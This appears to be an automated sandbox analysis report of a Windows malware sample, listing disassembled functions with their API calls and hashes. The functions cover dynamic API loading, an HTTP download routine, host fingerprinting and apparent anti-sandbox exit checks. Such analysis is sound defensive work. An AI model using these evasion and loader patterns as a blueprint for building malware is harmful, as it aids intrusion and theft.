Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fa2c4395a7881c4de4c1513fa69653902d040942aa8ff09a9261228418276606
Instruction ID: 85527f3b8c3ae624b5626ee59eab297aadbf6824a1669d569e39817063fce08a
Opcode Fuzzy Hash: fa2c4395a7881c4de4c1513fa69653902d040942aa8ff09a9261228418276606
Instruction Fuzzy Hash: 38D01774D402089BCB14DAE0A84969DBBB8FB08212F000564E90662240EA3164C18BA5

Function 00FB9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,008B52F0), ref: 00FB9C2D
GetProcAddress.KERNEL32(74DD0000,008B5550), ref: 00FB9C45
GetProcAddress.KERNEL32(74DD0000,008C9430), ref: 00FB9C5E
GetProcAddress.KERNEL32(74DD0000,008C9460), ref: 00FB9C76
GetProcAddress.KERNEL32(74DD0000,008C9478), ref: 00FB9C8E
GetProcAddress.KERNEL32(74DD0000,008C9490), ref: 00FB9CA7
GetProcAddress.KERNEL32(74DD0000,008BBE58), ref: 00FB9CBF
GetProcAddress.KERNEL32(74DD0000,008CD078), ref: 00FB9CD7
GetProcAddress.KERNEL32(74DD0000,008CCEF8), ref: 00FB9CF0
GetProcAddress.KERNEL32(74DD0000,008CCE80), ref: 00FB9D08
GetProcAddress.KERNEL32(74DD0000,008CD000), ref: 00FB9D20
GetProcAddress.KERNEL32(74DD0000,008B5330), ref: 00FB9D39
GetProcAddress.KERNEL32(74DD0000,008B5590), ref: 00FB9D51
GetProcAddress.KERNEL32(74DD0000,008B5510), ref: 00FB9D69
GetProcAddress.KERNEL32(74DD0000,008B5530), ref: 00FB9D82
GetProcAddress.KERNEL32(74DD0000,008CCF28), ref: 00FB9D9A
GetProcAddress.KERNEL32(74DD0000,008CCDF0), ref: 00FB9DB2
GetProcAddress.KERNEL32(74DD0000,008BBED0), ref: 00FB9DCB
GetProcAddress.KERNEL32(74DD0000,008B55D0), ref: 00FB9DE3
GetProcAddress.KERNEL32(74DD0000,008CD030), ref: 00FB9DFB
GetProcAddress.KERNEL32(74DD0000,008CCE98), ref: 00FB9E14
GetProcAddress.KERNEL32(74DD0000,008CD0A8), ref: 00FB9E2C
GetProcAddress.KERNEL32(74DD0000,008CCEB0), ref: 00FB9E44
GetProcAddress.KERNEL32(74DD0000,008B5370), ref: 00FB9E5D
GetProcAddress.KERNEL32(74DD0000,008CCE08), ref: 00FB9E75
GetProcAddress.KERNEL32(74DD0000,008CD018), ref: 00FB9E8D
GetProcAddress.KERNEL32(74DD0000,008CCF10), ref: 00FB9EA6
GetProcAddress.KERNEL32(74DD0000,008CD0C0), ref: 00FB9EBE
GetProcAddress.KERNEL32(74DD0000,008CCF40), ref: 00FB9ED6
GetProcAddress.KERNEL32(74DD0000,008CD090), ref: 00FB9EEF
GetProcAddress.KERNEL32(74DD0000,008CCEC8), ref: 00FB9F07
GetProcAddress.KERNEL32(74DD0000,008CCE38), ref: 00FB9F1F
GetProcAddress.KERNEL32(74DD0000,008CCF58), ref: 00FB9F38
GetProcAddress.KERNEL32(74DD0000,008CA880), ref: 00FB9F50
GetProcAddress.KERNEL32(74DD0000,008CCF70), ref: 00FB9F68
GetProcAddress.KERNEL32(74DD0000,008CCF88), ref: 00FB9F81
GetProcAddress.KERNEL32(74DD0000,008B55F0), ref: 00FB9F99
GetProcAddress.KERNEL32(74DD0000,008CCFA0), ref: 00FB9FB1
GetProcAddress.KERNEL32(74DD0000,008B53B0), ref: 00FB9FCA
GetProcAddress.KERNEL32(74DD0000,008CCE20), ref: 00FB9FE2
GetProcAddress.KERNEL32(74DD0000,008CD048), ref: 00FB9FFA
GetProcAddress.KERNEL32(74DD0000,008B53F0), ref: 00FBA013
GetProcAddress.KERNEL32(74DD0000,008B5850), ref: 00FBA02B
LoadLibraryA.KERNEL32(008CCFB8,?,00FB5CA3,00FC0AEB,?,?,?,?,?,?,?,?,?,?,00FC0AEA,00FC0AE3), ref: 00FBA03D
LoadLibraryA.KERNEL32(008CCE50,?,00FB5CA3,00FC0AEB,?,?,?,?,?,?,?,?,?,?,00FC0AEA,00FC0AE3), ref: 00FBA04E
LoadLibraryA.KERNEL32(008CCDD8,?,00FB5CA3,00FC0AEB,?,?,?,?,?,?,?,?,?,?,00FC0AEA,00FC0AE3), ref: 00FBA060
LoadLibraryA.KERNEL32(008CCEE0,?,00FB5CA3,00FC0AEB,?,?,?,?,?,?,?,?,?,?,00FC0AEA,00FC0AE3), ref: 00FBA072
LoadLibraryA.KERNEL32(008CCE68,?,00FB5CA3,00FC0AEB,?,?,?,?,?,?,?,?,?,?,00FC0AEA,00FC0AE3), ref: 00FBA083
LoadLibraryA.KERNEL32(008CCFD0,?,00FB5CA3,00FC0AEB,?,?,?,?,?,?,?,?,?,?,00FC0AEA,00FC0AE3), ref: 00FBA095
LoadLibraryA.KERNEL32(008CCFE8,?,00FB5CA3,00FC0AEB,?,?,?,?,?,?,?,?,?,?,00FC0AEA,00FC0AE3), ref: 00FBA0A7
LoadLibraryA.KERNEL32(008CD060,?,00FB5CA3,00FC0AEB,?,?,?,?,?,?,?,?,?,?,00FC0AEA,00FC0AE3), ref: 00FBA0B8
GetProcAddress.KERNEL32(75290000,008B5770), ref: 00FBA0DA
GetProcAddress.KERNEL32(75290000,008CD210), ref: 00FBA0F2
GetProcAddress.KERNEL32(75290000,008C90D0), ref: 00FBA10A
GetProcAddress.KERNEL32(75290000,008CD1B0), ref: 00FBA123
GetProcAddress.KERNEL32(75290000,008B5810), ref: 00FBA13B
GetProcAddress.KERNEL32(73440000,008BB8E0), ref: 00FBA160
GetProcAddress.KERNEL32(73440000,008B5890), ref: 00FBA179
GetProcAddress.KERNEL32(73440000,008BB750), ref: 00FBA191
GetProcAddress.KERNEL32(73440000,008CD0F0), ref: 00FBA1A9
GetProcAddress.KERNEL32(73440000,008CD3C0), ref: 00FBA1C2
GetProcAddress.KERNEL32(73440000,008B5650), ref: 00FBA1DA
GetProcAddress.KERNEL32(73440000,008B59B0), ref: 00FBA1F2
GetProcAddress.KERNEL32(73440000,008CD2D0), ref: 00FBA20B
GetProcAddress.KERNEL32(752C0000,008B5610), ref: 00FBA22C
GetProcAddress.KERNEL32(752C0000,008B5930), ref: 00FBA244
GetProcAddress.KERNEL32(752C0000,008CD390), ref: 00FBA25D
GetProcAddress.KERNEL32(752C0000,008CD0D8), ref: 00FBA275
GetProcAddress.KERNEL32(752C0000,008B58F0), ref: 00FBA28D
GetProcAddress.KERNEL32(74EC0000,008BBB60), ref: 00FBA2B3
GetProcAddress.KERNEL32(74EC0000,008BBB88), ref: 00FBA2CB
GetProcAddress.KERNEL32(74EC0000,008CD1C8), ref: 00FBA2E3
GetProcAddress.KERNEL32(74EC0000,008B5790), ref: 00FBA2FC
GetProcAddress.KERNEL32(74EC0000,008B5870), ref: 00FBA314
GetProcAddress.KERNEL32(74EC0000,008BB908), ref: 00FBA32C
GetProcAddress.KERNEL32(75BD0000,008CD2E8), ref: 00FBA352
GetProcAddress.KERNEL32(75BD0000,008B5670), ref: 00FBA36A
GetProcAddress.KERNEL32(75BD0000,008C9150), ref: 00FBA382
GetProcAddress.KERNEL32(75BD0000,008CD300), ref: 00FBA39B
GetProcAddress.KERNEL32(75BD0000,008CD198), ref: 00FBA3B3
GetProcAddress.KERNEL32(75BD0000,008B56D0), ref: 00FBA3CB
GetProcAddress.KERNEL32(75BD0000,008B5690), ref: 00FBA3E4
GetProcAddress.KERNEL32(75BD0000,008CD318), ref: 00FBA3FC
GetProcAddress.KERNEL32(75BD0000,008CD1E0), ref: 00FBA414
GetProcAddress.KERNEL32(75A70000,008B5910), ref: 00FBA436
GetProcAddress.KERNEL32(75A70000,008CD3A8), ref: 00FBA44E
GetProcAddress.KERNEL32(75A70000,008CD258), ref: 00FBA466
GetProcAddress.KERNEL32(75A70000,008CD330), ref: 00FBA47F
GetProcAddress.KERNEL32(75A70000,008CD240), ref: 00FBA497
GetProcAddress.KERNEL32(75450000,008B58B0), ref: 00FBA4B8
GetProcAddress.KERNEL32(75450000,008B56B0), ref: 00FBA4D1
GetProcAddress.KERNEL32(75DA0000,008B57B0), ref: 00FBA4F2
GetProcAddress.KERNEL32(75DA0000,008CD108), ref: 00FBA50A
GetProcAddress.KERNEL32(6F070000,008B56F0), ref: 00FBA530
GetProcAddress.KERNEL32(6F070000,008B57F0), ref: 00FBA548
GetProcAddress.KERNEL32(6F070000,008B58D0), ref: 00FBA560
GetProcAddress.KERNEL32(6F070000,008CD228), ref: 00FBA579
GetProcAddress.KERNEL32(6F070000,008B5630), ref: 00FBA591
GetProcAddress.KERNEL32(6F070000,008B57D0), ref: 00FBA5A9
GetProcAddress.KERNEL32(6F070000,008B5970), ref: 00FBA5C2
GetProcAddress.KERNEL32(6F070000,008B5950), ref: 00FBA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00FBA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00FBA607
GetProcAddress.KERNEL32(75AF0000,008CD2A0), ref: 00FBA629
GetProcAddress.KERNEL32(75AF0000,008C9130), ref: 00FBA641
GetProcAddress.KERNEL32(75AF0000,008CD1F8), ref: 00FBA659
GetProcAddress.KERNEL32(75AF0000,008CD348), ref: 00FBA672
GetProcAddress.KERNEL32(75D90000,008B5710), ref: 00FBA693
GetProcAddress.KERNEL32(6CF70000,008CD360), ref: 00FBA6B4
GetProcAddress.KERNEL32(6CF70000,008B5990), ref: 00FBA6CD
GetProcAddress.KERNEL32(6CF70000,008CD270), ref: 00FBA6E5
GetProcAddress.KERNEL32(6CF70000,008CD378), ref: 00FBA6FD

Strings

InternetSetOptionA, xrefs: 00FBA5E5
HttpQueryInfoA, xrefs: 00FBA5FC

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 83e9e1355c5d12eaa079b6ee4e6339988b97d2ae7ff533b9ba8c2438a0b737e1
Instruction ID: b1cb67a2d188850e60ab5adc62b4382a7c8b144ce23648852ecedb0dd1f06738
Opcode Fuzzy Hash: 83e9e1355c5d12eaa079b6ee4e6339988b97d2ae7ff533b9ba8c2438a0b737e1
Instruction Fuzzy Hash: 5D620BB5940640AFC36CDBE8F5989563BF9EF8C701315853AB6268B24CD63A98C1DF50

Function 00FA6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Part of subcall function 00FA47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FA4839
Part of subcall function 00FA47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FA4849

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

InternetOpenA.WININET(00FC0DFE,00000001,00000000,00000000,00000000), ref: 00FA62E1
StrCmpCA.SHLWAPI(?,008CEB98), ref: 00FA6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FA6335
HttpOpenRequestA.WININET(00000000,GET,?,008CE268,00000000,00000000,00400100,00000000), ref: 00FA6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FA63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FA63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00FA63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FA646D
InternetCloseHandle.WININET(00000000), ref: 00FA64EF
InternetCloseHandle.WININET(00000000), ref: 00FA64F9
InternetCloseHandle.WININET(00000000), ref: 00FA6503

Strings

GET, xrefs: 00FA637C
ERROR, xrefs: 00FA6407
ERROR, xrefs: 00FA64C9

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 6f4e482215496a77cd326761de7a486976e7a1127a1e444f0afcafb9c636625a
Instruction ID: c1bb5a51e47107c328cd5708ac8d2e14dc0a8ea3f85dc46f627c21fc9a8df62b
Opcode Fuzzy Hash: 6f4e482215496a77cd326761de7a486976e7a1127a1e444f0afcafb9c636625a
Instruction Fuzzy Hash: D1715EB1A00218ABDB24DBE0DC55FEE77B8BF49700F108158F50AAB1C4DBB4AA85DF51

Function 00FB5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FBA820: lstrlen.KERNEL32(00FA4F05,?,?,00FA4F05,00FC0DDE), ref: 00FBA82B
Part of subcall function 00FBA820: lstrcpy.KERNEL32(00FC0DDE,00000000), ref: 00FBA885

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FB5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FB56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FB5857

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Part of subcall function 00FB51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FB5228

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FB52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FB5318
Part of subcall function 00FB52C0: lstrlen.KERNEL32(00000000), ref: 00FB532F
Part of subcall function 00FB52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00FB5364
Part of subcall function 00FB52C0: lstrlen.KERNEL32(00000000), ref: 00FB5383
Part of subcall function 00FB52C0: lstrlen.KERNEL32(00000000), ref: 00FB53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FB578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FB5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FB5A0C
Sleep.KERNEL32(0000EA60), ref: 00FB5A1B

Strings

ERROR, xrefs: 00FB5932
ERROR, xrefs: 00FB5636
ERROR, xrefs: 00FB5849
ERROR, xrefs: 00FB577D
ERROR, xrefs: 00FB59FE
ERROR, xrefs: 00FB5693

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 4b669c42be69c2a85937136ec4ade365adbd728ef0c43034ff6542d60f67f99a
Instruction ID: ee733f9323c8b489bdcd31aa18a2a8adca5078bae733cdc44e089858b5d8953f
Opcode Fuzzy Hash: 4b669c42be69c2a85937136ec4ade365adbd728ef0c43034ff6542d60f67f99a
Instruction Fuzzy Hash: C1E14371910108AACB18FBE1EC53EED737CAF54700F508128B41667495EF3CAA59EFA2

Function 00FB17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00FB17C5
ExitProcess.KERNEL32 ref: 00FB17D1

Strings

block, xrefs: 00FB17B7

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 660ae4e6e0c42f88e30e9481a708f5b90416ab6eeda65314180cd8134c911723
Instruction ID: d9860758793c0e80adfd6d45e8ed8d85bf073558e6888b319c38bb420e3e1823
Opcode Fuzzy Hash: 660ae4e6e0c42f88e30e9481a708f5b90416ab6eeda65314180cd8134c911723
Instruction Fuzzy Hash: AD5148B5A00209EBCB04DFE2D965BFE77B5BF44704F508068E416AB240DB74E952EF62

Function 00FB7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00FB7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00FB757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FB7603
RtlAllocateHeap.NTDLL(00000000), ref: 00FB760A
wsprintfA.USER32 ref: 00FB7640

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Strings

C, xrefs: 00FB754C
\, xrefs: 00FB7560
:, xrefs: 00FB755C

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 938f50621c67ce8259f389c7e926734db92c761cc9b230789843d13353917a2d
Instruction ID: 9f2343de5604f4ffc47ba3d9ffdfe944dc8bfc5150e3d47d1c547e0a5d990963
Opcode Fuzzy Hash: 938f50621c67ce8259f389c7e926734db92c761cc9b230789843d13353917a2d
Instruction Fuzzy Hash: 114181B1D04348ABDB24DF95DC55BDEBBB8AF48700F100099F5096B280DB78AA84DFA5

Function 00FB69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008C2170), ref: 00FB98A1
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008C2320), ref: 00FB98BA
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008C22D8), ref: 00FB98D2
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008C22F0), ref: 00FB98EA
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008C2428), ref: 00FB9903
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008C91B0), ref: 00FB991B
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008B5430), ref: 00FB9933
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008B52B0), ref: 00FB994C
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008C2458), ref: 00FB9964
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008C23F8), ref: 00FB997C
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008C21A0), ref: 00FB9995
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008C21B8), ref: 00FB99AD
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008B5450), ref: 00FB99C5
Part of subcall function 00FB9860: GetProcAddress.KERNEL32(74DD0000,008C21E8), ref: 00FB99DE

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FA11D0: ExitProcess.KERNEL32 ref: 00FA1211

Part of subcall function 00FA1160: GetSystemInfo.KERNEL32(?), ref: 00FA116A
Part of subcall function 00FA1160: ExitProcess.KERNEL32 ref: 00FA117E

Part of subcall function 00FA1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FA112B
Part of subcall function 00FA1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00FA1132
Part of subcall function 00FA1110: ExitProcess.KERNEL32 ref: 00FA1143

Part of subcall function 00FA1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FA123E
Part of subcall function 00FA1220: ExitProcess.KERNEL32 ref: 00FA1294

Part of subcall function 00FB6770: GetUserDefaultLangID.KERNEL32 ref: 00FB6774

Part of subcall function 00FA1190: ExitProcess.KERNEL32 ref: 00FA11C6

Part of subcall function 00FB7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FA11B7), ref: 00FB7880
Part of subcall function 00FB7850: RtlAllocateHeap.NTDLL(00000000), ref: 00FB7887
Part of subcall function 00FB7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FB789F

Part of subcall function 00FB78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FB7910
Part of subcall function 00FB78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00FB7917
Part of subcall function 00FB78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00FB792F

